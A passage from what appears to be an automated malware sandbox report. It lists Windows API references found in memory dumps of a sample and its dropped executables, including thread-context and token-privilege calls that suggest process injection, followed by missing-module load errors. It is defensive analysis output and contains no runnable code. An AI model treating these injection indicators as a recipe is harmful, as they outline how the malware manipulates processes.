(Indicator: "TerminateProcess"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "RaiseException"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "SetLastError"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "RtlUnwind"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "TlsAlloc"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "TlsGetValue"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "TlsSetValue"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "TlsFree"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleExW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "CreateFileW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetFileInformationByHandle"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetFileType"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "PeekNamedPipe"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "SystemTimeToTzSpecificLocalTime"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "FileTimeToSystemTime"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetStdHandle"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineA"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetCommandLineW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "HeapFree"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "HeapAlloc"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "MultiByteToWideChar"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "CompareStringW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "LCMapStringW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetFullPathNameW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "SetStdHandle"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileExW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "IsValidCodePage"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetACP"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetOEMCP"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetCPInfo"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "WideCharToMultiByte"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetEnvironmentStringsW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "FreeEnvironmentStringsW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "SetEnvironmentVariableW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetProcessHeap"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetStringTypeW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "FlushFileBuffers"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleCP"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetConsoleMode"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetTimeZoneInformation"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointerEx"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "HeapSize"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "HeapReAlloc"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "SetEndOfFile"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "ReadConsoleW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "WriteConsoleW"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "DecodePointer"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API (Indicator: "GetStockObject"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "VirtualProtect"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp") Found reference to API (Indicator: "CoInitialize"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteExW"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp") Found reference to API (Indicator: "SetFocus"; Source: "00000000-00004892.00000000.66048.00270000.00000004.mdmp, 00000000-00004892.00000001.67957.00270000.00000004.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00004892.00000001.67957.00941000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00004892.00000001.67957.00941000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00004892.00000001.67957.00941000.00000020.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp")3b:T4db,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "LockResource" (Indicator: "LockResource"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp")3c:T447,Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; File: "2Td9134.exe.567271921") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; File: "2Td9134.exe.567271921") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp")3d:T545,Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "GetThreadContext" (Indicator: "GetThreadContext"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "SetThreadContext" (Indicator: "SetThreadContext"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp")3e:T47f,Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") file/memory contains long string with (Indicator: "OpenProcess"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; File: "2Td9134.exe.567271921") Found reference to API "NtOpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "GetProcessHeap" (Indicator: "GetProcessHeap"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") file/memory contains long string with (Indicator: "OpenProcess"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp") Found reference to API "OpenProcessToken" (Indicator: "OpenProcess"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp")3f:T4b4,Found reference to API "GetLastError" (Indicator: "GetLastError"; File: "922d837e2362b26f6f5959eb3dee8ac0.exe") Found reference to API "SetLastError" (Indicator: "SetLastError"; File: "2Td9134.exe.567271921") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00000744.00000001.70576.00121000.00000020.mdmp, 00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00000744.00000002.72499.6A51F000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00003916.00000000.68790.00FAD000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "SetLastError" (Indicator: "SetLastError"; Source: "00000000-00004588.00000000.72463.00FAC000.00000002.mdmp") Found reference to API "GetLastError" (Indicator: "GetLastError"; Source: "00000000-00004892.00000001.67957.0094A000.00000002.mdmp")40:T152b,"922d837e2362b26f6f5959eb3dee8ac0.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "922d837e2362b26f6f5959eb3dee8ac0.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "OT6Dd58.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "OT6Dd58.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "pt9KK68.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "pt9KK68.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "Vd6Yw65.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "Vd6Yw65.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "3Hf64Pr.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "3Hf64Pr.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "3Hf64Pr.exe" failed to load missing module "api-ms-win-core-datetime-l1-1-1" - [base:0; Status:c0000135] "3Hf64Pr.exe" failed to load missing module "api-ms-win-core-localization-obsolete-l1-2-0" - [base:0; Status:c0000135] "3Hf64Pr.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "4na449fr.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-fibers-l1-1-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-localization-l1-2-1" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-core-quirks-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-2.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "api-ms-win-appmodel-runtime-l1-1-0.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\system32\combase.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module "%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\uxtheme.dll" - [base:0; Status:c0000135] "AppLaunch.exe" failed to load missing module 